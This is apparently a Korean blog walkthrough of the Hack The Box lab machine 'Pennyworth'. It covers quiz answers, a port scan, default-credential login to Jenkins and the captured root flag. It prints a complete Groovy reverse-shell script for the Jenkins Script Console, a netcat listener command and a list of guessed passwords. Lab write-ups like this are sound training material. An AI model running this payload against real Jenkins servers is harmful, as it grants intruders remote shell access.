▌ TRANSMISSION · [HTB]

[STARTING_POINT] Tier1 Pennyworth


alt text

Task 1

What does the acronym CVE stand for? CVE라는 약자는 무엇을 의미하나요?

alt text

CVE는 Common Vulnerabilities and Exposures 의 약어입니다.

Task 2

What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for? 사이버 보안에서 말하는 CIA triad의 세 가지 요소(CIA)는 각각 무엇을 의미하나요?

alt text

사이버 보안에서 말하는 CIA triad는 confidentiality, integrity, availability 을 말하며 각 단어의 이니셜을 딴 것입니다. (기밀성, 무결성, 가용성)

Task 3

What is the version of the service running on port 8080? 포트 8080에서 실행 중인 서비스의 버전은 무엇인가요?

┌──(m0nk3ygod㉿m0nk3ygod)-[~]
└─$ sudo nmap 10.129.17.168 -p 8080 -Pn -n -sV -sC --min-rate 2000
[sudo] password for m0nk3ygod:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-02 20:35 +0900
Nmap scan report for 10.129.17.168
Host is up (0.26s latency).

PORT     STATE SERVICE VERSION
8080/tcp open  http    Jetty 9.4.39.v20210325
|_http-server-header: Jetty(9.4.39.v20210325)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.40 seconds

스캐닝 결과, 해당 머신은 tcp/8080 포트에서 Jetty 9.4.39.v20210325 서비스가 돌아가고 있습니다.

Task 4

What version of Jenkins is running on the target? 대상 시스템에서 실행 중인 Jenkins의 버전은 무엇인가요?

우선 8080 포트 서비스가 http 프로토콜을 사용하니 브라우저로 접근해보면,

alt text

Jenkins 로그인 페이지가 나옵니다.

  • Jenkins : 코드 빌드, 테스트, 배포를 자동화해주는 서비스 입니다. (CI/CD)

우선 예측해볼 수 있는 계정들을 여러개 테스트해봅니다.

  • admin:password
  • admin:admin
  • guest:guest
  • root:password

시도해보면 root:password 로 로그인에 성공할 수 있습니다.

alt text

여기서 우측 하단에 Jenkins 2.289.1 라고 버전이 적혀있는 것을 확인할 수 있습니다.

Task 5

What type of script is accepted as input on the Jenkins Script Console? Jenkins Script Console에서 입력으로 허용되는 스크립트 유형은 무엇인가요?

좌측에 Manage Jenkins 탭으로 가보면,

alt text

alt text

아랫쪽에 Script Console 이라는 메뉴가 있는 것을 볼 수 있습니다. (path : /script)

alt text

여기서는 Groovy 스크립트를 사용할 수 있다고 나옵니다.

Task 6

What is the path of the Jenkins script console? Jenkins Script Console의 경로는 무엇인가요?

Jenkins Script Console의 접속 경로는 /script 입니다.

Task 7

What is a different command than ip a we could use to display our network interfaces’ information on Linux? Linux에서 ip a 명령어 대신 네트워크 인터페이스 정보를 확인할 수 있는 다른 명령어는 무엇인가요?

정답은 ifconfig 입니다.

ifconfig는 interface configuration의 약어로, 네트워크 인터페이스 설정 도구라고 생각하면 됩니다.

Task 8

What switch should we use with netcat for it to use UDP transport mode? netcat에서 UDP 전송 모드를 사용하려면 어떤 옵션을 사용해야 하나요?

┌──(kali㉿kali)-[~]
└─$ nc -h    
[v1.10-50.1]
connect to somewhere:   nc [-options] hostname port[s] [ports] ... 
listen for inbound:     nc -l -p port [-options] [hostname] [port]
options:
        -c shell commands       as `-e'; use /bin/sh to exec [dangerous!!]
        -e filename             program to exec after connect [dangerous!!]
        -b                      allow broadcasts
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, ...
        -h                      this cruft
        -i secs                 delay interval for lines sent, ports scanned
        -k                      set keepalive option on socket
        -l                      listen mode, for inbound connects
        -n                      numeric-only IP addresses, no DNS
        -o file                 hex dump of traffic
        -p port                 local port number
        -r                      randomize local and remote ports
        -q secs                 quit after EOF on stdin and delay of secs
        -s addr                 local source address
        -T tos                  set Type Of Service
        -t                      answer TELNET negotiation
        -u                      UDP mode
        -v                      verbose [use twice to be more verbose]
        -w secs                 timeout for connects and final net reads
        -C                      Send CRLF as line-ending
        -z                      zero-I/O mode [used for scanning]
port numbers can be individual or ranges: lo-hi [inclusive];
hyphens in port names must be backslash escaped (e.g. 'ftp\-data').

정답은 -u 입니다. (도움말을 통해 확인 가능합니다.)

Task 9

What is the term used to describe making a target host initiate a connection back to the attacker host? 대상 호스트가 공격자 호스트로 다시 연결을 시작하게 만드는 기법을 무엇이라고 하나요?

대상 호스트가 공격자 호스트로 연결을 다시 시도하여 세션(shell)을 생성하게 만드는 기법을 reverse shell 이라고 합니다.

Submit Flag

Submit root flag

Groovy 스크립트를 통해 명령을 실행시킬 수 있다면, reverse shell을 받아오는 스크립트도 있는지 확인해봅시다.

그러다가 해당 사이트에서 리버스 쉘을 받아오는 스크립트를 발견했습니다.

String host="<attacker ip>";
int port=<port>;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

해당 스크립트에 공격자 ip와 port를 넣고,

nc -lnvp 1337

리스너에서 대기한 뒤 실행해보면,

alt text

리버스쉘 연결이 가능합니다.

script /dev/null -c /bin/bash 로 쉘 안정화를 해서 flag를 찾아봅니다.

root@pennyworth:~# ls  
ls
flag.txt  snap
root@pennyworth:~# cat flag.txt
cat flag.txt
9cdfb439c7876e703e307864c9167a15

/root 디렉터리에서 flag를 획득할 수 있습니다.

Flag : 9cdfb439c7876e703e307864c9167a15


← ALL POSTS